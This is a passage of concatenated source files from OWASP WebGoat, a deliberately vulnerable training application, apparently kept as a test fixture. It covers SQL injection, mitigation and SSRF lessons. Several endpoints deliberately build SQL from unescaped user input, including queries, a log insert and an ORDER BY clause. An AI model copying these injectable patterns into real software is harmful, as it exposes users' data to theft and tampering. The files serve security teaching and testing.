Your query was: " + queryString.replace("?", login_count)) .build(); } query.setInt(1, count); // String query = "SELECT * FROM user_data WHERE Login_Count = " + login_count + " and userid // = " + accountName, ; try { ResultSet results = query.executeQuery(); if ((results != null) && (results.first() == true)) { ResultSetMetaData resultsMetaData = results.getMetaData(); StringBuilder output = new StringBuilder(); output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData)); results.last(); // If they get back more than one user they succeeded if (results.getRow() >= 6) { return success(this) .feedback("sql-injection.5b.success") .output("Your query was: " + queryString.replace("?", login_count)) .feedbackArgs(output.toString()) .build(); } else { return failed(this) .output( output.toString() + "
Your query was: " + queryString.replace("?", login_count)) .build(); } } else { return failed(this) .feedback("sql-injection.5b.no.results") .output("Your query was: " + queryString.replace("?", login_count)) .build(); } } catch (SQLException sqle) { return failed(this) .output( sqle.getMessage() + "
Your query was: " + queryString.replace("?", login_count)) .build(); } } catch (Exception e) { return failed(this) .output( this.getClass().getName() + " : " + e.getMessage() + "
Your query was: " + queryString.replace("?", login_count)) .build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson8.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.introduction; import static java.sql.ResultSet.CONCUR_UPDATABLE; import static java.sql.ResultSet.TYPE_SCROLL_SENSITIVE; import java.sql.*; import java.text.SimpleDateFormat; import java.util.Calendar; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "SqlStringInjectionHint.8.1", "SqlStringInjectionHint.8.2", "SqlStringInjectionHint.8.3", "SqlStringInjectionHint.8.4", "SqlStringInjectionHint.8.5" }) public class SqlInjectionLesson8 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson8(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjection/attack8") @ResponseBody public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) { return injectableQueryConfidentiality(name, auth_tan); } protected AttackResult injectableQueryConfidentiality(String name, String auth_tan) { StringBuilder output = new StringBuilder(); String query = "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'"; try (Connection connection = dataSource.getConnection()) { try { Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE); log(connection, query); ResultSet results = statement.executeQuery(query); if (results.getStatement() != null) { if (results.first()) { output.append(generateTable(results)); results.last(); if (results.getRow() > 1) { // more than one record, the user succeeded return success(this) .feedback("sql-injection.8.success") .output(output.toString()) .build(); } else { // only one record return failed(this).feedback("sql-injection.8.one").output(output.toString()).build(); } } else { // no results return failed(this).feedback("sql-injection.8.no.results").build(); } } else { return failed(this).build(); } } catch (SQLException e) { return failed(this) .output("
") .build(); } } catch (Exception e) { return failed(this) .output("
") .build(); } } public static String generateTable(ResultSet results) throws SQLException { ResultSetMetaData resultsMetaData = results.getMetaData(); int numColumns = resultsMetaData.getColumnCount(); results.beforeFirst(); StringBuilder table = new StringBuilder(); table.append(""); if (results.next()) { table.append(""); for (int i = 1; i < (numColumns + 1); i++) { table.append(""); } table.append(""); results.beforeFirst(); while (results.next()) { table.append(""); for (int i = 1; i < (numColumns + 1); i++) { table.append(""); } table.append(""); } } else { table.append("Query Successful; however no data was returned from this query."); } table.append("
" + resultsMetaData.getColumnName(i) + "
" + results.getString(i) + "
"); return (table.toString()); } public static void log(Connection connection, String action) { action = action.replace('\'', '"'); Calendar cal = Calendar.getInstance(); SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String time = sdf.format(cal.getTime()); String logQuery = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')"; try { Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); statement.executeUpdate(logQuery); } catch (SQLException e) { System.err.println(e.getMessage()); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson9.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.introduction; import static org.hsqldb.jdbc.JDBCResultSet.CONCUR_UPDATABLE; import static org.hsqldb.jdbc.JDBCResultSet.TYPE_SCROLL_SENSITIVE; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "SqlStringInjectionHint.9.1", "SqlStringInjectionHint.9.2", "SqlStringInjectionHint.9.3", "SqlStringInjectionHint.9.4", "SqlStringInjectionHint.9.5" }) public class SqlInjectionLesson9 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson9(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjection/attack9") @ResponseBody public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) { return injectableQueryIntegrity(name, auth_tan); } protected AttackResult injectableQueryIntegrity(String name, String auth_tan) { StringBuilder output = new StringBuilder(); String query = "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'"; try (Connection connection = dataSource.getConnection()) { try { Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); SqlInjectionLesson8.log(connection, query); ResultSet results = statement.executeQuery(query); var test = results.getRow() != 0; if (results.getStatement() != null) { if (results.first()) { output.append(SqlInjectionLesson8.generateTable(results)); } else { // no results return failed(this).feedback("sql-injection.8.no.results").build(); } } } catch (SQLException e) { System.err.println(e.getMessage()); return failed(this) .output("
") .build(); } return checkSalaryRanking(connection, output); } catch (Exception e) { System.err.println(e.getMessage()); return failed(this) .output("
") .build(); } } private AttackResult checkSalaryRanking(Connection connection, StringBuilder output) { try { String query = "SELECT * FROM employees ORDER BY salary DESC"; try (Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); ) { ResultSet results = statement.executeQuery(query); results.first(); // user completes lesson if John Smith is the first in the list if ((results.getString(2).equals("John")) && (results.getString(3).equals("Smith"))) { output.append(SqlInjectionLesson8.generateTable(results)); return success(this) .feedback("sql-injection.9.success") .output(output.toString()) .build(); } else { return failed(this).feedback("sql-injection.9.one").output(output.toString()).build(); } } } catch (SQLException e) { return failed(this) .output("
") .build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/Servers.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.mitigation; import java.util.ArrayList; import java.util.List; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.LessonDataSource; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 6/13/17. */ @RestController @RequestMapping("SqlInjectionMitigations/servers") @Slf4j public class Servers { private final LessonDataSource dataSource; @AllArgsConstructor @Getter private class Server { private String id; private String hostname; private String ip; private String mac; private String status; private String description; } public Servers(LessonDataSource dataSource) { this.dataSource = dataSource; } @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public List sort(@RequestParam String column) throws Exception { List servers = new ArrayList<>(); try (var connection = dataSource.getConnection()) { try (var statement = connection.prepareStatement( "select id, hostname, ip, mac, status, description from SERVERS where status <> 'out" + " of order' order by " + column)) { try (var rs = statement.executeQuery()) { while (rs.next()) { Server server = new Server( rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6)); servers.add(server); } } } } return servers; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10a.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.mitigation; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @Slf4j @AssignmentHints( value = {"SqlStringInjectionHint-mitigation-10a-1", "SqlStringInjectionHint-mitigation-10a-2"}) public class SqlInjectionLesson10a extends AssignmentEndpoint { private String[] results = { "getConnection", "PreparedStatement", "prepareStatement", "?", "?", "setString", "setString" }; @PostMapping("/SqlInjectionMitigations/attack10a") @ResponseBody public AttackResult completed( @RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7) { String[] userInput = {field1, field2, field3, field4, field5, field6, field7}; int position = 0; boolean completed = false; for (String input : userInput) { if (input.toLowerCase().contains(this.results[position].toLowerCase())) { completed = true; } else { return failed(this).build(); } position++; } if (completed) { return success(this).build(); } return failed(this).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10b.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.mitigation; import java.io.IOException; import java.net.URI; import java.util.Arrays; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; import javax.tools.Diagnostic; import javax.tools.DiagnosticCollector; import javax.tools.JavaCompiler; import javax.tools.JavaFileObject; import javax.tools.SimpleJavaFileObject; import javax.tools.StandardJavaFileManager; import javax.tools.ToolProvider; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "SqlStringInjectionHint-mitigation-10b-1", "SqlStringInjectionHint-mitigation-10b-2", "SqlStringInjectionHint-mitigation-10b-3", "SqlStringInjectionHint-mitigation-10b-4", "SqlStringInjectionHint-mitigation-10b-5" }) public class SqlInjectionLesson10b extends AssignmentEndpoint { @PostMapping("/SqlInjectionMitigations/attack10b") @ResponseBody public AttackResult completed(@RequestParam String editor) { try { if (editor.isEmpty()) return failed(this).feedback("sql-injection.10b.no-code").build(); editor = editor.replaceAll("\\<.*?>", ""); String regexSetsUpConnection = "(?=.*getConnection.*)"; String regexUsesPreparedStatement = "(?=.*PreparedStatement.*)"; String regexUsesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)"; String regexUsesSetString = "(?=.*setString.*)"; String regexUsesExecute = "(?=.*execute.*)"; String regexUsesExecuteUpdate = "(?=.*executeUpdate.*)"; String codeline = editor.replace("\n", "").replace("\r", ""); boolean setsUpConnection = this.check_text(regexSetsUpConnection, codeline); boolean usesPreparedStatement = this.check_text(regexUsesPreparedStatement, codeline); boolean usesSetString = this.check_text(regexUsesSetString, codeline); boolean usesPlaceholder = this.check_text(regexUsesPlaceholder, codeline); boolean usesExecute = this.check_text(regexUsesExecute, codeline); boolean usesExecuteUpdate = this.check_text(regexUsesExecuteUpdate, codeline); boolean hasImportant = (setsUpConnection && usesPreparedStatement && usesPlaceholder && usesSetString && (usesExecute || usesExecuteUpdate)); List hasCompiled = this.compileFromString(editor); if (hasImportant && hasCompiled.size() < 1) { return success(this).feedback("sql-injection.10b.success").build(); } else if (hasCompiled.size() > 0) { String errors = ""; for (Diagnostic d : hasCompiled) { errors += d.getMessage(null) + "
"; } return failed(this).feedback("sql-injection.10b.compiler-errors").output(errors).build(); } else { return failed(this).feedback("sql-injection.10b.failed").build(); } } catch (Exception e) { return failed(this).output(e.getMessage()).build(); } } private List compileFromString(String s) { JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); DiagnosticCollector diagnosticsCollector = new DiagnosticCollector(); StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticsCollector, null, null); JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s); Iterable fileObjects = Arrays.asList(javaObjectFromString); JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects); Boolean result = task.call(); List diagnostics = diagnosticsCollector.getDiagnostics(); return diagnostics; } private SimpleJavaFileObject getJavaFileContentsAsString(String s) { StringBuilder javaFileContents = new StringBuilder( "import java.sql.*; public class TestClass { static String DBUSER; static String DBPW;" + " static String DBURL; public static void main(String[] args) {" + s + "}}"); JavaObjectFromString javaFileObject = null; try { javaFileObject = new JavaObjectFromString("TestClass.java", javaFileContents.toString()); } catch (Exception exception) { exception.printStackTrace(); } return javaFileObject; } class JavaObjectFromString extends SimpleJavaFileObject { private String contents = null; public JavaObjectFromString(String className, String contents) throws Exception { super(new URI(className), Kind.SOURCE); this.contents = contents; } public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException { return contents; } } private boolean check_text(String regex, String text) { Pattern p = Pattern.compile(regex, Pattern.CASE_INSENSITIVE); Matcher m = p.matcher(text); if (m.find()) return true; else return false; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson13.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.mitigation; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "SqlStringInjectionHint-mitigation-13-1", "SqlStringInjectionHint-mitigation-13-2", "SqlStringInjectionHint-mitigation-13-3", "SqlStringInjectionHint-mitigation-13-4" }) @Slf4j public class SqlInjectionLesson13 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson13(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/SqlInjectionMitigations/attack12a") @ResponseBody public AttackResult completed(@RequestParam String ip) { try (Connection connection = dataSource.getConnection(); PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?")) { preparedStatement.setString(1, ip); preparedStatement.setString(2, "webgoat-prd"); ResultSet resultSet = preparedStatement.executeQuery(); if (resultSet.next()) { return success(this).build(); } return failed(this).build(); } catch (SQLException e) { log.error("Failed", e); return (failed(this).build()); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionMitigations.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.mitigation; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class SqlInjectionMitigations extends Lesson { @Override public Category getDefaultCategory() { return Category.A3; } @Override public String getTitle() { return "3.sql.mitigation.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.mitigation; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.lessons.sqlinjection.advanced.SqlInjectionLesson6a; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = {"SqlOnlyInputValidation-1", "SqlOnlyInputValidation-2", "SqlOnlyInputValidation-3"}) public class SqlOnlyInputValidation extends AssignmentEndpoint { private final SqlInjectionLesson6a lesson6a; public SqlOnlyInputValidation(SqlInjectionLesson6a lesson6a) { this.lesson6a = lesson6a; } @PostMapping("/SqlOnlyInputValidation/attack") @ResponseBody public AttackResult attack(@RequestParam("userid_sql_only_input_validation") String userId) { if (userId.contains(" ")) { return failed(this).feedback("SqlOnlyInputValidation-failed").build(); } AttackResult attackResult = lesson6a.injectableQuery(userId); return new AttackResult( attackResult.isLessonCompleted(), attackResult.getFeedback(), attackResult.getOutput(), getClass().getSimpleName(), true); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.sqlinjection.mitigation; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.lessons.sqlinjection.advanced.SqlInjectionLesson6a; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints( value = { "SqlOnlyInputValidationOnKeywords-1", "SqlOnlyInputValidationOnKeywords-2", "SqlOnlyInputValidationOnKeywords-3" }) public class SqlOnlyInputValidationOnKeywords extends AssignmentEndpoint { private final SqlInjectionLesson6a lesson6a; public SqlOnlyInputValidationOnKeywords(SqlInjectionLesson6a lesson6a) { this.lesson6a = lesson6a; } @PostMapping("/SqlOnlyInputValidationOnKeywords/attack") @ResponseBody public AttackResult attack( @RequestParam("userid_sql_only_input_validation_on_keywords") String userId) { userId = userId.toUpperCase().replace("FROM", "").replace("SELECT", ""); if (userId.contains(" ")) { return failed(this).feedback("SqlOnlyInputValidationOnKeywords-failed").build(); } AttackResult attackResult = lesson6a.injectableQuery(userId); return new AttackResult( attackResult.isLessonCompleted(), attackResult.getFeedback(), attackResult.getOutput(), getClass().getSimpleName(), true); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRF.java ================================================ package org.owasp.webgoat.lessons.ssrf; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author WebGoat * @version $Id: $Id * @since October 12, 2016 */ @Component public class SSRF extends Lesson { @Override public Category getDefaultCategory() { return Category.A10; } @Override public String getTitle() { return "ssrf.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask1.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.ssrf; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"ssrf.hint1", "ssrf.hint2"}) public class SSRFTask1 extends AssignmentEndpoint { @PostMapping("/SSRF/task1") @ResponseBody public AttackResult completed(@RequestParam String url) { return stealTheCheese(url); } protected AttackResult stealTheCheese(String url) { try { StringBuilder html = new StringBuilder(); if (url.matches("images/tom.png")) { html.append( "\"Tom\""); return failed(this).feedback("ssrf.tom").output(html.toString()).build(); } else if (url.matches("images/jerry.png")) { html.append( "\"Jerry\""); return success(this).feedback("ssrf.success").output(html.toString()).build(); } else { html.append("\"Silly"); return failed(this).feedback("ssrf.failure").output(html.toString()).build(); } } catch (Exception e) { e.printStackTrace(); return failed(this).output(e.getMessage()).build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.ssrf; import java.io.IOException; import java.io.InputStream; import java.net.MalformedURLException; import java.net.URL; import java.nio.charset.StandardCharsets; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"ssrf.hint3"}) public class SSRFTask2 